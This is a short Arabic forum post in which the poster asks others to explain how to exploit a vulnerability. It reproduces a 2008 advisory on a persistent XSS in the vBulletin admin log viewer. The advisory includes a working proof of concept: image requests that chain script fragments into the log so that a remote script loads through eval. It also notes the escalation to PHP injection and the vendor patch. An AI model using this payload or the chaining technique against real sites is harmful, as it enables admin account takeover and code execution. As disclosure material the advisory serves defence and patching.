--------------------------------------------------------------------------------
اخواني حصلت هذه الثغرة ولكن تحتاج احد من الاخوة شرح طريقة الاستغلال
كود PHP:
Details : SecurityAlert
Topic : XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
SecurityAlert : 4000
CVE : CVE-2008-3184
CWE : CWE-79
SecurityRisk : Low (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : Yes
Exploit Given : No
Credit : Jessica Hope
Published : 17.07.2008
Affected Software : Vbulletin, Vbulletin, 3.6
Vbulletin, Vbulletin, 3.6.1
Vbulletin, Vbulletin, 3.6.10
Vbulletin, Vbulletin, 3.6.2
Vbulletin, Vbulletin, 3.6.3
Vbulletin, Vbulletin, 3.6.4
Vbulletin, Vbulletin, 3.6.5
Vbulletin, Vbulletin, 3.6.6
Vbulletin, Vbulletin, 3.6.7
Vbulletin, Vbulletin, 3.6.8
Vbulletin, Vbulletin, 3.6.9
Vbulletin, Vbulletin, 3.7.0
Vbulletin, Vbulletin, 3.7.1
Vbulletin, Vbulletin, 3.7.2
Vbulletin, Vbulletin, 3.7.1, Pl1
Vbulletin, Vbulletin, 3.7.1, Gold
Vbulletin, Vbulletin, 3.6.10, Pl1
Advisory Text :
======================================================================
Advisory : XSS in admin logs
Release Date : July 06th 2008
Application : vBulletin
Version : vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
Platform : PHP
Vendor URL :
http://www.vbulletin.com/ Authors : Jessica Hope (jessicasaulhope (at) googlemail (dot) com [email
concealed]),
Friends who wish to remain anonymous.
=======================================================================
Overview
Due to various failures in sanitising user input, it is possible to
construct XSS attacks that are rather damaging.
=======================================================================
Discussion
The XSS in question exists on the log viewing page of the admin control
panel.
When a missing page is requested, a log is created in the admin area,
however
the inputs to this log lack sanitation. The script name is taken from
basename(PHP_SELF), while the action is taken from _REQUEST['do']. Either
one
can be used for introducing XSS vectors.
To highlight the severity and underline the fact that his vulnerability is
exploitable:
<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/1?do=*/a%3D'document.wri
'/*"
/>
<img
src="http://localhost/vB/upload/admincp/faq.php/2?do=*/b%3D'te(%22<scrip
t
'/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/3?do=*/c%3D'src=http://'
/*"
/>
<!--edit to match your data -->
<img
src="http://localhost/vB/upload/admincp/faq.php/4?do=*/d%3D'localhost/'/
*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/5?do=*/e%3D''/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.js></scrip
'/*"
/>
<!-- end edit -->
<img src="http://localhost/vB/upload/admincp/faq.php/7?do=*/g%3D't>%22)'/*"
/>
<img
src="http://localhost/vB/upload/admincp/faq.php/8?do=*/h%3Da%2Bb%2Bc%2Bd
%2Be%2Bf%2Bg/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/9?do=*/eval(h)/*" />
<img src="http://localhost/vB/upload/admincp/faq.php/a0?do=*/</script>" />
</body>
</html>
You then need to send the admin to
adminlog.php?do=view&script=&u=0&pp=15&orderby=script&page=1
and the XSS will render.
The limits on the XSS:
basename(PHP_SELF) is 50 characters max and no slashes
_REQUEST['do'] is limited to 20 characters, but no character restriction.
The tight character limits on the unsanitized parameters are not
mitigating the severity, as unlimited
attack space can be obtained as shown above.
As per my last exploits, all XSS in the vBulletin ACP can be used for
PHP injection instantly. This
is due to the design of the vBulletin hooks feature. As this
particular XSS is persistent and will
render in all major browsers it is particularly dangerous.
=======================================================================
Solution:
Update to vBulletin 3.7.2 PL1 or vBulletin 3.6.10 PL3
Dont trust PHP_SELF and sanitise all data that is going to be
displayed to the user
الكود بالمرفقات
المصدر
http://securityreason.com/securityalert/4000